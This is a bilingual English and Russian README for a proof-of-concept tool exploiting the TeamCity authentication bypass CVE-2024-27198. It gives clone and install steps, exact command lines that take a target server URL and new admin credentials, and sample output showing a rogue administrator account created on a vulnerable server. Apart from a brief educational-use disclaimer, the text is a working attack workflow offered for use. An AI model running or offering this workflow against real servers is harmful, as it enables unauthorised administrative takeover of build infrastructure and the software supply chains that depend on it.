GenTeamCityExploit is a PoC tool that targets a vulnerability in the TeamCity server (CVE-2024-27198). It enables the discovery of a TeamCity version and the creation of a new admin user by exploiting an authentication bypass flaw.
- Extracts the version of the TeamCity server.
- Checks for the presence of a known vulnerability (CVE-2024-27198).
- Creates a new administrator user if the server is vulnerable.
- Python 3.6+: Ensure you have Python installed.
- Libraries: Install the required libraries using:
pip install requests urllib3
- Clone the repository.
git clone https://github.com/geniuszly/CVE-2024-27198
- Navigate to the directory.
cd CVE-2024-27198
- Run the script with the required parameters.
Parameters:
python3 GenTeamCityAdminCreator.py -t <target_url> -u <username> -p <password>
-t
,--target
: The URL of the target TeamCity server.-u
,--username
: The username for the new admin user.-p
,--password
: The password for the new admin user.
python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123
$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123
[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[+] Сервер уязвим! Возвращен HTTP код: 200
[+] Пользователь 'newadmin' создан успешно! Перейдите на http://target-teamcity.com/login.html для входа.
In case the server is not vulnerable or the version is not found:
$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123
[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[-] Сервер, вероятно, неуязвим. Возвращен HTTP код: 403
If there is an error connecting to the server:
$ python3 GenTeamCityAdminCreator.py -t http://nonexistent-url.com -u newadmin -p securepassword123
[-] Ошибка при попытке соединения с сервером: HTTPConnectionPool(host='nonexistent-url.com', port=80): Max retries exceeded with url: /login.html (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ff9e1f07df0>: Failed to establish a new connection: [Errno -2] Name or service not known'))
This tool is intended for educational purposes only and should not be used on any systems without explicit permission from the owner. Unauthorized access to computer systems is illegal.
GenTeamCityExploit — это PoC-инструмент, нацеленный на уязвимость сервера TeamCity (CVE-2024-27198). Он позволяет обнаружить версию TeamCity и создать нового администратора, используя уязвимость обхода аутентификации.
- Извлекает версию сервера TeamCity.
- Проверяет наличие известной уязвимости (CVE-2024-27198).
- Создает нового пользователя-администратора, если сервер уязвим.
- Python 3.6+: Убедитесь, что у вас установлен Python.
- Библиотеки: Установите необходимые библиотеки командой:
pip install requests urllib3
- Клонируйте репозиторий.
git clone https://github.com/geniuszly/CVE-2024-27198
- Перейдите в папку с проектом.
cd CVE-2024-27198
- Запустите скрипт с обязательными параметрами.
Параметры:
python3 GenTeamCityAdminCreator.py -t <target_url> -u <username> -p <password>
-t
,--target
: URL целевого TeamCity сервера.-u
,--username
: Имя пользователя для нового администратора.-p
,--password
: Пароль для нового администратора.
python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123
$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123
[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[+] Сервер уязвим! Возвращен HTTP код: 200
[+] Пользователь 'newadmin' создан успешно! Перейдите на http://target-teamcity.com/login.html для входа.
В случае, если сервер не уязвим или версия не найдена:
$ python3 GenTeamCityAdminCreator.py -t http://target-teamcity.com -u newadmin -p securepassword123
[+] Версия сервера обнаружена: TeamCity Professional 2023.1 (build 104124)
[-] Сервер, вероятно, неуязвим. Возвращен HTTP код: 403
При возникновении ошибки подключения к серверу:
$ python3 GenTeamCityAdminCreator.py -t http://nonexistent-url.com -u newadmin -p securepassword123
[-] Ошибка при попытке соединения с сервером: HTTPConnectionPool(host='nonexistent-url.com', port=80): Max retries exceeded with url: /login.html (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ff9e1f07df0>: Failed to establish a new connection: [Errno -2] Name or service not known'))
Этот инструмент предназначен исключительно для образовательных целей и не должен использоваться на каких-либо системах без явного разрешения их владельца. Несанкционированный доступ к компьютерным системам является незаконным.